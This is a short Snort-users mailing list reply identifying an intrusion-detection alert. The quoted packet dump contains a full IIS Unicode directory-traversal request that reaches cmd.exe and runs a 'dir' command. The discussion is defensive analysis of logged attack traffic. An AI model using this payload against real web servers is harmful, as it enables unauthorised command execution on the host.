Re: spp_http_decode: IIS Unicode attack detected

[Olaf Schreck <chakl () syscall de>]

> I see these all the time, I'm not sure what point of it is, here is a packet
> decode, any one have any idea?
>
>  length = 66
>
> 000 : 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
> 010 : 63 31 25 38 73 2E 2E 2F 77 69 6E 6E 74 2F 73 79   c1%8s../winnt/sy
> 020 : 73 74 65 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F   stem32/cmd.exe?/
> 030 : 63 2B 64 69 72 20 48 54 54 50 2F 31 2E 30 0D 0A   c+dir HTTP/1.0..
> 040 : 0D 0A                                             ..

Looks like someone is working through Floydman's autopsy paper released 
yesterday:

        http://www.geocities.com/floydian_99/autopsy.html

ciao,
chakl

_______________________________________________
Snort-users mailing list
Snort-users () lists sourceforge net
Go to this URL to change user options or unsubscribe:
http://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users